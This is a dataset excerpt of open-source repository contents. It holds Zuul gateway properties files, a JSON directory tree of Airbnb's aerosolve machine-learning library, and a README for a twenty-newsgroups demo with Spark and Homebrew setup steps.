6:02 PM\n */\npublic class ZuulNettyExceptionMapper {}\n", "zuul-integration-test\\src\\test\\resources\\application.properties": "#\n# Zuul application properties\n#\n\n#Name of the application to be identified by other services\neureka.name=zuul\n\n#The port where the service will be running and serving requests\neureka.port=7001\n\n#Virtual host name by which the clients identifies this service\neureka.vipAddress=${eureka.name}:${eureka.port}\n\neureka.validateInstanceId=false\neureka.registration.enabled=false\neureka.shouldFetchRegistry=false\n\nZoneAwareNIWSDiscoveryLoadBalancer.enabled=false\napi.ribbon.NIWSServerListClassName=com.netflix.zuul.integration.server.OriginServerList\n", "zuul-sample\\src\\main\\resources\\application-benchmark.properties": "### Benchmark settings\n\n# disable safety throttles\napi.ribbon.MaxConnectionsPerHost=-1\napi.netty.client.maxRequestsPerConnection=10000\napi.netty.client.perServerWaterline=-1\nzuul.origin.api.concurrency.protect.enabled=false\n\n# disable info headers\nzuul.responseFilter.send.headers=false\n", "zuul-sample\\src\\main\\resources\\application-test.properties": "# Test properties", "zuul-sample\\src\\main\\resources\\application.properties": "### Instance env settings\n\nregion=us-east-1\nenvironment=test\n\n### Eureka instance registration for this app\n\n#Name of the application to be identified by other services\neureka.name=zuul\n\n#The port where the service will be running and serving requests\neureka.port=7001\n\n#Virtual host name by which the clients identifies this service\neureka.vipAddress=${eureka.name}:${eureka.port}\n\n#For eureka clients running in eureka server, it needs to connect to servers in other zones\neureka.preferSameZone=false\n\n# Don't register locally running instances.\neureka.registration.enabled=false\n\n\n# Loading Filters\nzuul.filters.root=src/main/groovy/com/netflix/zuul/sample/filters\nzuul.filters.locations=${zuul.filters.root}/inbound,${zuul.filters.root}/outbound,${zuul.filters.root}/endpoint\nzuul.filters.packages=com.netflix.zuul.filters.common\n\n\n### Load balancing backends with Eureka\n\neureka.shouldUseDns=true\neureka.eurekaServer.context=discovery/v2\neureka.eurekaServer.domainName=discovery${environment}.netflix.net\neureka.eurekaServer.gzipContent=true\n\neureka.serviceUrl.default=http://${region}.${eureka.eurekaServer.domainName}:7001/${eureka.eurekaServer.context}\n\napi.ribbon.NIWSServerListClassName=com.netflix.niws.loadbalancer.DiscoveryEnabledNIWSServerList\napi.ribbon.DeploymentContextBasedVipAddresses=api-test.netflix.net:7001\n\n\n### Load balancing backends without Eureka\n\n#eureka.shouldFetchRegistry=false\n\n#api.ribbon.listOfServers=100.66.23.88:7001,100.65.155.22:7001\n#api.ribbon.client.NIWSServerListClassName=com.netflix.loadbalancer.ConfigurationBasedServerList\n#api.ribbon.DeploymentContextBasedVipAddresses=api-test.netflix.net:7001\n\n\n\n\n# This has to be the last line\n@next=application-${@environment}.properties\n"} | null |
aerosolve | {"type": "directory", "name": "aerosolve", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "directory", "name": "airlearner", "children": [{"type": "directory", "name": "airlearner-strategy", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "common", "children": [{"type": "directory", "name": "ml", "children": [{"type": "directory", "name": "strategy", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "BaseSearchConfig.scala"}, {"type": "file", "name": "EvalConfig.scala"}, {"type": "file", "name": "SearchParams.scala"}, {"type": "file", "name": "TrainingConfig.scala"}, {"type": "file", "name": "TrainingOptions.scala"}]}, {"type": "directory", "name": "data", "children": [{"type": "file", "name": "BaseBinarySample.scala"}, {"type": "file", "name": "BinaryScoringSample.scala"}, {"type": "file", "name": "BinaryTrainingSample.scala"}, {"type": "file", "name": "DataLoadingRules.scala"}, {"type": "file", "name": "ModelOutput.scala"}, {"type": "file", "name": "TrainingData.scala"}]}, {"type": "directory", "name": "eval", "children": [{"type": "file", "name": "BinaryMetrics.scala"}]}, {"type": "directory", "name": "params", "children": [{"type": "file", "name": "BaseParam.scala"}, {"type": "file", "name": "StrategyParams.scala"}]}, {"type": "directory", "name": "trainer", "children": [{"type": "file", "name": "BaseBinaryRegressionTrainer.scala"}, {"type": "file", "name": "BinaryRegressionTrainer.scala"}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "data", "children": [{"type": "file", "name": "eval.csv"}, {"type": "file", "name": "train.csv"}]}, {"type": "file", "name": "log4j.properties"}]}, {"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "common", "children": [{"type": "directory", "name": "ml", "children": [{"type": "directory", "name": "strategy", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "BaseSearchConfigTest.scala"}, {"type": "file", "name": "SearchParamsTest.scala"}, {"type": "file", "name": "StrategyModelSearchConfigTest.scala"}, {"type": "file", "name": "TrainingOptionsTest.scala"}]}, {"type": "directory", "name": "data", "children": [{"type": "file", "name": "BinarySampleMockUtil.scala"}, {"type": "file", "name": "DataLoadingRulesTest.scala"}]}, {"type": "directory", "name": "eval", "children": [{"type": "file", "name": "BinaryMetricsTest.scala"}]}, {"type": "directory", "name": "testutil", "children": [{"type": "file", "name": "CSVUtil.scala"}]}, {"type": "directory", "name": "trainer", "children": [{"type": "file", "name": "BinaryRegressionTrainerTest.scala"}, {"type": "file", "name": "TrainerTestUtil.scala"}]}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "airlearner-utils", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "jmh", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "common", "children": [{"type": "directory", "name": "ml", "children": [{"type": "directory", "name": "util", "children": [{"type": "file", "name": "RandomUtilBenchmarks.scala"}]}]}]}]}]}]}]}, {"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "common", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "AirCon.java"}, {"type": "file", "name": "AirConMacroExecutor.java"}, {"type": "file", "name": "MacroExecutor.java"}]}]}]}]}]}, {"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "common", "children": [{"type": "directory", "name": "ml", "children": [{"type": "directory", "name": "util", "children": [{"type": "file", "name": "ConfigUtils.scala"}, {"type": "file", "name": "DateTimeUtil.scala"}, {"type": "file", "name": "HDFSUtil.scala"}, {"type": "file", "name": "HiveManageTable.scala"}, {"type": "file", "name": "HiveUtil.scala"}, {"type": "file", "name": "PipelineUtil.scala"}, {"type": "file", "name": "RandomUtil.scala"}, {"type": "file", "name": "ScalaLogging.scala"}, {"type": "file", "name": "Sort.scala"}]}]}, {"type": "directory", "name": "pipeline", "children": [{"type": "file", "name": "Job.scala"}, {"type": "file", "name": "JobRunner.scala"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "common", "children": [{"type": "directory", "name": "ml", "children": [{"type": "directory", "name": "util", "children": [{"type": "file", "name": "DateTimeUtilTest.scala"}, {"type": "file", "name": "PipelineUtilTest.scala"}, {"type": "file", "name": "RandomUtilTest.scala"}, {"type": "file", "name": "ScalaLoggingTest.scala"}, {"type": "file", "name": "SortTest.scala"}, {"type": "directory", "name": "testutil", "children": [{"type": "file", "name": "TestHiveContextProvider.scala"}, {"type": "file", "name": "TestSparkContextProvider.scala"}, {"type": "file", "name": "TestWithHiveContext.scala"}, {"type": "file", "name": "TestWithSparkContext.scala"}]}]}]}]}]}]}]}]}]}]}, {"type": "directory", "name": "airlearner-xgboost", "children": [{"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "hive", "children": [{"type": "file", "name": "setup.hql"}]}, {"type": "directory", "name": "local-lib", "children": []}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "bash", "children": [{"type": "file", "name": "submit.sh"}]}, {"type": "directory", "name": "main", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "search_template.conf"}]}, {"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "common", "children": [{"type": "directory", "name": "ml", "children": [{"type": "directory", "name": "search", "children": [{"type": "file", "name": "MonteCarloParams.scala"}, {"type": "file", "name": "MonteCarloSearch.scala"}]}, {"type": "directory", "name": "xgboost", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "XGBoostScoringConfig.scala"}, {"type": "file", "name": "XGBoostSearchConfig.scala"}]}, {"type": "directory", "name": "data", "children": [{"type": "file", "name": "ModelData.scala"}, {"type": "file", "name": "ScoringLabeledPoint.scala"}, {"type": "file", "name": "ScoringModelData.scala"}, {"type": "file", "name": "TrainingModelData.scala"}]}, {"type": "directory", "name": "model", "children": [{"type": "file", "name": "XGBoostModel.scala"}]}, {"type": "file", "name": "Utils.scala"}, {"type": "file", "name": "XGBoostEvalPipeline.scala"}, {"type": "file", "name": "XGBoostPipeline.scala"}, {"type": "file", "name": "XGBoostScoringPipeline.scala"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "common", "children": [{"type": "directory", "name": "ml", "children": [{"type": "directory", "name": "search", "children": [{"type": "file", "name": "MonteCarloParamsTest.scala"}, {"type": "file", "name": "MonteCarloSearchTest.scala"}]}, {"type": "directory", "name": "xgboost", "children": [{"type": "file", "name": "XGBoostPipelineTest.scala"}]}]}]}]}]}]}]}]}]}, {"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "configs", "children": [{"type": "file", "name": "scala210.gradle"}, {"type": "file", "name": "scala211.gradle"}, {"type": "file", "name": "scala212.gradle"}, {"type": "file", "name": "scalastyle_config.xml"}]}, {"type": "file", "name": "libraries.gradle"}, {"type": "file", "name": "README.md"}]}, {"type": "file", "name": "build.gradle"}, {"type": "directory", "name": "core", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "LICENSE"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "aerosolve", "children": [{"type": "directory", "name": "core", "children": [{"type": "directory", "name": "features", "children": [{"type": "file", "name": "FeatureFamily.java"}, {"type": "file", "name": "FeatureGen.java"}, {"type": "file", "name": "FeatureMapping.java"}, {"type": "file", "name": "Features.java"}, {"type": "file", "name": "FeatureVectorGen.java"}, {"type": "file", "name": "FloatFamily.java"}, {"type": "file", "name": "SparseLabeledPoint.java"}, {"type": "file", "name": "StringFamily.java"}]}, {"type": "directory", "name": "function", "children": [{"type": "file", "name": "AbstractFunction.java"}, {"type": "file", "name": "Function.java"}, {"type": "file", "name": "FunctionUtil.java"}, {"type": "file", "name": "Linear.java"}, {"type": "file", "name": "MultiDimensionPoint.java"}, {"type": "file", "name": "MultiDimensionSpline.java"}, {"type": "file", "name": "Point.java"}, {"type": "file", "name": "Spline.java"}, {"type": "file", "name": "Zero.java"}]}, {"type": "directory", "name": "images", "children": [{"type": "file", "name": "HOGFeature.java"}, {"type": "file", "name": "HSVFeature.java"}, {"type": "file", "name": "ImageFeature.java"}, {"type": "file", "name": "ImageFeatureExtractor.java"}, {"type": "file", "name": "ImageFeatureInterface.java"}, {"type": "file", "name": "LBPFeature.java"}, {"type": "file", "name": "RGBFeature.java"}]}, {"type": "directory", "name": "models", "children": [{"type": "file", "name": "AbstractModel.java"}, {"type": "file", "name": "AdditiveModel.java"}, {"type": "file", "name": "BoostedStumpsModel.java"}, {"type": "file", "name": "DecisionTreeModel.java"}, {"type": "file", "name": "ForestModel.java"}, {"type": "file", "name": "FullRankLinearModel.java"}, {"type": "file", "name": "KDTreeModel.java"}, {"type": "file", "name": "KernelModel.java"}, {"type": "file", "name": "LinearModel.java"}, {"type": "file", "name": "LowRankLinearModel.java"}, {"type": "file", "name": "MaxoutModel.java"}, {"type": "file", "name": "MlpModel.java"}, {"type": "file", "name": "Model.java"}, {"type": "file", "name": "ModelFactory.java"}, {"type": "file", "name": "NDTreeModel.java"}, {"type": "file", "name": "SplineModel.java"}]}, {"type": "directory", "name": "scoring", "children": [{"type": "file", "name": "ModelConfig.java"}, {"type": "file", "name": "ModelScorer.java"}]}, {"type": "directory", "name": "transforms", "children": [{"type": "file", "name": "ApproximatePercentileTransform.java"}, {"type": "file", "name": "BucketFloatTransform.java"}, {"type": "file", "name": "CapFloatTransform.java"}, {"type": "file", "name": "CoalesceFloatTransform.java"}, {"type": "file", "name": "ConvertStringCaseTransform.java"}, {"type": "file", "name": "CrossTransform.java"}, {"type": "file", "name": "CustomLinearLogQuantizeTransform.java"}, {"type": "file", "name": "CustomMultiscaleQuantizeTransform.java"}, {"type": "file", "name": "CustomRangeQuantizeTransform.java"}, {"type": "file", "name": "CutFloatTransform.java"}, {"type": "file", "name": "DateDiffTransform.java"}, {"type": "file", "name": "DateValTransform.java"}, {"type": "file", "name": "DecisionTreeTransform.java"}, {"type": "file", "name": "DefaultStringTokenizerTransform.java"}, {"type": "file", "name": "DeleteFloatFeatureFamilyTransform.java"}, {"type": "file", "name": "DeleteFloatFeatureTransform.java"}, {"type": "file", "name": "DeleteStringFeatureColumnTransform.java"}, {"type": "file", "name": "DeleteStringFeatureFamilyTransform.java"}, {"type": "file", "name": "DeleteStringFeatureTransform.java"}, {"type": "file", "name": "DivideTransform.java"}, {"type": "file", "name": "FloatCrossFloatTransform.java"}, {"type": "file", "name": "FloatFamilyCrossToTwoDDenseTransform.java"}, {"type": "file", "name": "FloatLabelTransform.java"}, {"type": "file", "name": "FloatToDenseTransform.java"}, {"type": "file", "name": "FloatToStringTransform.java"}, {"type": "file", "name": "KdtreeContinuousTransform.java"}, {"type": "file", "name": "KdtreeTransform.java"}, {"type": "file", "name": "LinearLogQuantizeTransform.java"}, {"type": "file", "name": "ListTransform.java"}, {"type": "file", "name": "MathFloatTransform.java"}, {"type": "file", "name": "MoveFloatToStringAndFloatTransform.java"}, {"type": "file", "name": "MoveFloatToStringTransform.java"}, {"type": "file", "name": "MultiscaleGridContinuousTransform.java"}, {"type": "file", "name": "MultiscaleGridQuantizeTransform.java"}, {"type": "file", "name": "MultiscaleMoveFloatToStringTransform.java"}, {"type": "file", "name": "MultiscaleQuantizeTransform.java"}, {"type": "file", "name": "NearestTransform.java"}, {"type": "file", "name": "NgramTransform.java"}, {"type": "file", "name": "NormalizeFloatTransform.java"}, {"type": "file", "name": "NormalizeUtf8Transform.java"}, {"type": "file", "name": "ProductTransform.java"}, {"type": "file", "name": "QuantizeTransform.java"}, {"type": "file", "name": "ReplaceAllStringsTransform.java"}, {"type": "file", "name": "SelfCrossTransform.java"}, {"type": "file", "name": "StringCrossFloatTransform.java"}, {"type": "file", "name": "StuffIdTransform.java"}, {"type": "file", "name": "StumpTransform.java"}, {"type": "file", "name": "SubtractTransform.java"}, {"type": "file", "name": "Transform.java"}, {"type": "file", "name": "Transformer.java"}, {"type": "file", "name": "TransformFactory.java"}, {"type": "directory", "name": "types", "children": [{"type": "file", "name": "FloatTransform.java"}, {"type": "file", "name": "StringTransform.java"}]}, {"type": "file", "name": "WtaTransform.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "DateUtil.java"}, {"type": "file", "name": "Debug.java"}, {"type": "file", "name": "Distance.java"}, {"type": "file", "name": "FeatureDictionary.java"}, {"type": "file", "name": "FeatureVectorUtil.java"}, {"type": "file", "name": "FloatVector.java"}, {"type": "file", "name": "KNearestNeighborsOptions.java"}, {"type": "file", "name": "LocalitySensitiveHashSparseFeatureDictionary.java"}, {"type": "file", "name": "MinKernelDenseFeatureDictionary.java"}, {"type": "file", "name": "ReinforcementLearning.java"}, {"type": "file", "name": "StringDictionary.java"}, {"type": "file", "name": "SupportVector.java"}, {"type": "file", "name": "TransformUtil.java"}, {"type": "file", "name": "Util.java"}, {"type": "file", "name": "Weibull.java"}]}]}]}]}]}]}, {"type": "directory", "name": "thrift", "children": [{"type": "file", "name": "KDTree.thrift"}, {"type": "file", "name": "MLSchema.thrift"}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "aerosolve", "children": [{"type": "directory", "name": "core", "children": [{"type": "directory", "name": "features", "children": [{"type": "file", "name": "FeatureGenTest.java"}, {"type": "file", "name": "FeatureMappingTest.java"}, {"type": "file", "name": "FeaturesTest.java"}]}, {"type": "directory", "name": "function", "children": [{"type": "file", "name": "LinearTest.java"}, {"type": "file", "name": "MultiDimensionPointTest.java"}, {"type": "file", "name": "MultiDimensionSplineTest.java"}, {"type": "file", "name": "PointTest.java"}, {"type": "file", "name": "SplineTest.java"}]}, {"type": "directory", "name": "images", "children": [{"type": "file", "name": "HOGFeatureTest.java"}, {"type": "file", "name": "HSVFeatureTest.java"}, {"type": "file", "name": "ImageFeatureExtractorTest.java"}, {"type": "file", "name": "LBPFeatureTest.java"}, {"type": "file", "name": "RGBFeatureTest.java"}]}, {"type": "directory", "name": "models", "children": [{"type": "file", "name": "AdditiveModelTest.java"}, {"type": "file", "name": "KDTreeModelTest.java"}, {"type": "file", "name": "LinearModelTest.java"}, {"type": "file", "name": "LowRankLinearModelTest.java"}, {"type": "file", "name": "MlpModelTest.java"}, {"type": "file", "name": "NDTreeModelTest.java"}]}, {"type": "directory", "name": "scoring", "children": [{"type": "file", "name": "ModelScorerTest.java"}]}, {"type": "directory", "name": "transforms", "children": [{"type": "file", "name": "ApproximatePercentileTransformTest.java"}, {"type": "file", "name": "BucketFloatTransformTest.java"}, {"type": "file", "name": "CapFloatTransformTest.java"}, {"type": "file", "name": "ConvertStringCaseTransformTest.java"}, {"type": "file", "name": "CrossTransformTest.java"}, {"type": "file", "name": "CustomLinearLogQuantizeTransformTest.java"}, {"type": "file", "name": "CustomMultiscaleQuantizeTransformTest.java"}, {"type": "file", "name": "CustomRangeQuantizeTransformTest.java"}, {"type": "file", "name": "CutFloatTransformTest.java"}, {"type": "file", "name": "DateDiffTransformTest.java"}, {"type": "file", "name": "DateValTransformTest.java"}, {"type": "file", "name": "DecisionTreeTransformTest.java"}, {"type": "file", "name": "DefaultStringTokenizerTransformTest.java"}, {"type": "file", "name": "DeleteFloatFeatureFamilyTransformTest.java"}, {"type": "file", "name": "DeleteFloatFeatureTransformTest.java"}, {"type": "file", "name": "DeleteStringFeatureFamilyTransformTest.java"}, {"type": "file", "name": "DeleteStringFeatureTransformTest.java"}, {"type": "file", "name": "DivideTransformTest.java"}, {"type": "file", "name": "FloatCrossFloatTransformTest.java"}, {"type": "file", "name": "FloatFamilyCrossToTwoDDenseTransformTest.java"}, {"type": "file", "name": "FloatLabelTransformTest.java"}, {"type": "file", "name": "FloatToDenseTransformTest.java"}, {"type": "file", "name": "FloatToStringTransformTest.java"}, {"type": "file", "name": "KdtreeContinuousTransformTest.java"}, {"type": "file", "name": "KdtreeTransformTest.java"}, {"type": "file", "name": "LinearLogQuantizeTransformTest.java"}, {"type": "file", "name": "ListTransformTest.java"}, {"type": "file", "name": "MathFloatTransformTest.java"}, {"type": "file", "name": "ModelTransformsTest.java"}, {"type": "file", "name": "MoveFloatToStringAndFloatTransformTest.java"}, {"type": "file", "name": "MoveFloatToStringTransformTest.java"}, {"type": "file", "name": "MultiscaleGridContinuousTransformTest.java"}, {"type": "file", "name": "MultiscaleGridQuantizeTransformTest.java"}, {"type": "file", "name": "MultiscaleMoveFloatToStringTransformTest.java"}, {"type": "file", "name": "MultiscaleQuantizeTransformTest.java"}, {"type": "file", "name": "NearestTransformTest.java"}, {"type": "file", "name": "NgramTransformTest.java"}, {"type": "file", "name": "NormalizeFloatTransformTest.java"}, {"type": "file", "name": "NormalizeUtf8TransformTest.java"}, {"type": "file", "name": "ProductTransformTest.java"}, {"type": "file", "name": "QuantizeTransformTest.java"}, {"type": "file", "name": "ReplaceAllStringsTransformTest.java"}, {"type": "file", "name": "SelfCrossTransformTest.java"}, {"type": "file", "name": "StringCrossFloatTransformTest.java"}, {"type": "file", "name": "StuffIdTransformTest.java"}, {"type": "file", "name": "StumpTransformTest.java"}, {"type": "file", "name": "SubtractTransformTest.java"}, {"type": "file", "name": "TransformTestingHelper.java"}, {"type": "file", "name": "WtaTransformTest.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "DateUtilTest.java"}, {"type": "file", "name": "DistanceTest.java"}, {"type": "file", "name": "FeatureDictionaryTest.java"}, {"type": "file", "name": "FeatureVectorUtilTest.java"}, {"type": "file", "name": "FloatVectorTest.java"}, {"type": "file", "name": "ReinforcementLearningTest.java"}, {"type": "file", "name": "StringDictionaryTest.java"}, {"type": "file", "name": "SupportVectorTest.java"}, {"type": "file", "name": "UtilTest.java"}]}]}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "income_prediction.conf"}, {"type": "file", "name": "log4j.properties"}, {"type": "file", "name": "test_kdt.model.conf"}]}]}]}]}, {"type": "directory", "name": "demo", "children": [{"type": "directory", "name": "image_impressionism", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "job_runner.sh"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "image_impressionism.conf"}, {"type": "file", "name": "log4j.properties"}]}, {"type": "directory", "name": "scala", "children": [{"type": "file", "name": "ImageImpressionismPipeline.scala"}, {"type": "file", "name": "JobRunner.scala"}]}]}]}]}, {"type": "directory", "name": "income_prediction", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "job_runner.sh"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "income_prediction.conf"}]}, {"type": "directory", "name": "scala", "children": [{"type": "file", "name": "IncomePredictionPipeline.scala"}, {"type": "file", "name": "JobRunner.scala"}]}]}]}]}, {"type": "directory", "name": "twenty_news", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "convert_to_aerosolve.py"}, {"type": "file", "name": "job_runner.sh"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "twenty_news.conf"}]}, {"type": "directory", "name": "scala", "children": [{"type": "file", "name": "JobRunner.scala"}, {"type": "file", "name": "TwentyNewsPipeline.scala"}]}]}]}]}]}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "inthewild.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "publish-notify.sh"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}, {"type": "file", "name": "thrift-cli.gradle"}, {"type": "directory", "name": "training", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "LICENSE"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "demo.bash"}, {"type": "file", "name": "demo_convert_example_to_photonml_avro.conf"}, {"type": "file", "name": "demo_multiclass_train.conf"}, {"type": "file", "name": "demo_train.conf"}]}, {"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "aerosolve", "children": [{"type": "directory", "name": "training", "children": [{"type": "file", "name": "AdditiveModelTrainer.scala"}, {"type": "file", "name": "BoostedForestTrainer.scala"}, {"type": "file", "name": "BoostedStumpsTrainer.scala"}, {"type": "file", "name": "CyclicCoordinateDescent.scala"}, {"type": "file", "name": "DecisionTreeTrainer.scala"}, {"type": "file", "name": "Evaluation.scala"}, {"type": "file", "name": "FeatureSelection.scala"}, {"type": "file", "name": "ForestTrainer.scala"}, {"type": "file", "name": "FullRankLinearTrainer.scala"}, {"type": "file", "name": "GradientUtils.scala"}, {"type": "file", "name": "HistogramCalibrator.scala"}, {"type": "file", "name": "KDTree.scala"}, {"type": "file", "name": "KernelTrainer.scala"}, {"type": "file", "name": "LinearRankerTrainer.scala"}, {"type": "file", "name": "LinearRankerUtils.scala"}, {"type": "file", "name": "LowRankLinearTrainer.scala"}, {"type": "file", "name": "MaxoutTrainer.scala"}, {"type": "file", "name": "MlpModelTrainer.scala"}, {"type": "file", "name": "NDTree.scala"}, {"type": "directory", "name": "photon", "children": [{"type": "directory", "name": "ml", "children": [{"type": "directory", "name": "data", "children": [{"type": "file", "name": "ConvertExamplesToPhotonMLAvroJob.scala"}, {"type": "file", "name": "ExampleMetaDataExtractor.scala"}, {"type": "file", "name": "PhotonMLUtils.scala"}, {"type": "file", "name": "SingleFloatFamilyMetaExtractor.scala"}]}]}]}, {"type": "directory", "name": "pipeline", "children": [{"type": "file", "name": "EvalUtil.scala"}, {"type": "file", "name": "ExampleUtil.scala"}, {"type": "file", "name": "GenericPipeline.scala"}, {"type": "file", "name": "HiveUtil.scala"}, {"type": "file", "name": "JobRunner.scala"}, {"type": "file", "name": "ModelDebug.scala"}, {"type": "file", "name": "NDTreePipeline.scala"}, {"type": "file", "name": "PipelineUtil.scala"}, {"type": "file", "name": "ResultUtil.scala"}]}, {"type": "file", "name": "ScoreCalibrator.scala"}, {"type": "file", "name": "SplineQualityMetrics.scala"}, {"type": "file", "name": "SplineTrainer.scala"}, {"type": "file", "name": "TrainingUtils.scala"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "JsonParser.scala"}, {"type": "file", "name": "Sort.scala"}]}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "resources", "children": [{"type": "file", "name": "log4j.properties"}]}, {"type": "directory", "name": "scala", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "aerosolve", "children": [{"type": "directory", "name": "training", "children": [{"type": "file", "name": "AdditiveModelTrainerTest.scala"}, {"type": "file", "name": "BoostedForestTrainerTest.scala"}, {"type": "file", "name": "BoostedStumpsModelTest.scala"}, {"type": "file", "name": "CyclicCoordinateDescentTest.scala"}, {"type": "file", "name": "DecisionTreeTrainerTest.scala"}, {"type": "file", "name": "EvaluationTest.scala"}, {"type": "file", "name": "ForestTrainerTest.scala"}, {"type": "file", "name": "FullRankLinearModelTest.scala"}, {"type": "file", "name": "HistogramCalibratorTest.scala"}, {"type": "file", "name": "KDTreeTest.scala"}, {"type": "file", "name": "KernelTrainerTest.scala"}, {"type": "file", "name": "LinearClassificationTrainerTest.scala"}, {"type": "file", "name": "LinearLogisticClassificationTrainerTest.scala"}, {"type": "file", "name": "LinearRankerTrainerTest.scala"}, {"type": "file", "name": "LinearRegressionTrainerTest.scala"}, {"type": "file", "name": "LowRankLinearTrainerTest.scala"}, {"type": "file", "name": "MaxoutTrainerTest.scala"}, {"type": "file", "name": "MlpModelTrainerTest.scala"}, {"type": "file", "name": "NDTreeTest.scala"}, {"type": "directory", "name": "photon", "children": [{"type": "directory", "name": "ml", "children": [{"type": "directory", "name": "data", "children": [{"type": "file", "name": "PhotonMLUtilsTest.scala"}, {"type": "file", "name": "SingleFloatFamilyMetaExtractorTest.scala"}]}]}]}, {"type": "directory", "name": "pipeline", "children": [{"type": "file", "name": "EvalUtilTest.scala"}, {"type": "file", "name": "GenericPipelineTest.scala"}, {"type": "file", "name": "ModelDebugTest.scala"}, {"type": "file", "name": "NDTreePipelineTest.scala"}, {"type": "file", "name": "PipelineTestingUtil.scala"}, {"type": "file", "name": "PipelineUtilTest.scala"}, {"type": "file", "name": "ResultUtilTest.scala"}]}, {"type": "file", "name": "ScoreCalibratorTest.scala"}, {"type": "file", "name": "SplineQualityMetricsTest.scala"}, {"type": "file", "name": "SplineRankingTrainerTest.scala"}, {"type": "file", "name": "SplineTrainerTest.scala"}, {"type": "file", "name": "TrainingTestHelper.scala"}, {"type": "file", "name": "TrainingUtilsTest.scala"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "JsonParserTest.scala"}, {"type": "file", "name": "SortTest.scala"}]}]}]}]}]}]}]}]}]}]} | Twenty news demo
========================
# Introduction
In this demo we will train a multiclass model on the twenty news data set.
The data set we use was downloaded from https://archive.ics.uci.edu/ml/machine-learning-databases/20newsgroups-mld/
## Pre-requisites
This demo assumes
* Spark 1.6.3 is installed http://spark.apache.org/downloads.html
* spark-submit is in your path somewhere
* Gradle is installed https://gradle.org/
* Thrift 0.9.1 is installed
* Roughly 8 GB of free memory
* python is installed somewhere
#### Switching to the correct version of spark with Homebrew on Mac OSX
If you have used spark recently, you are probably running a version >= 2. You can check this by running,
```
brew info apache-spark
```
To obtain the correct version of spark, run the following,
```
brew search apache-spark
brew install [email protected]
brew unlink apache-spark
brew link [email protected]
```
#### Adding spark-submit to your path
To add spark-submit to your path, you can run the flowing line and add to your favorite profile (e.g. .zshrc)
```
export PATH="/usr/local/opt/[email protected]/bin:$PATH"
```
Finally, check that you are currently running the correct version of apache-spark.
```
spark-submit --version
```
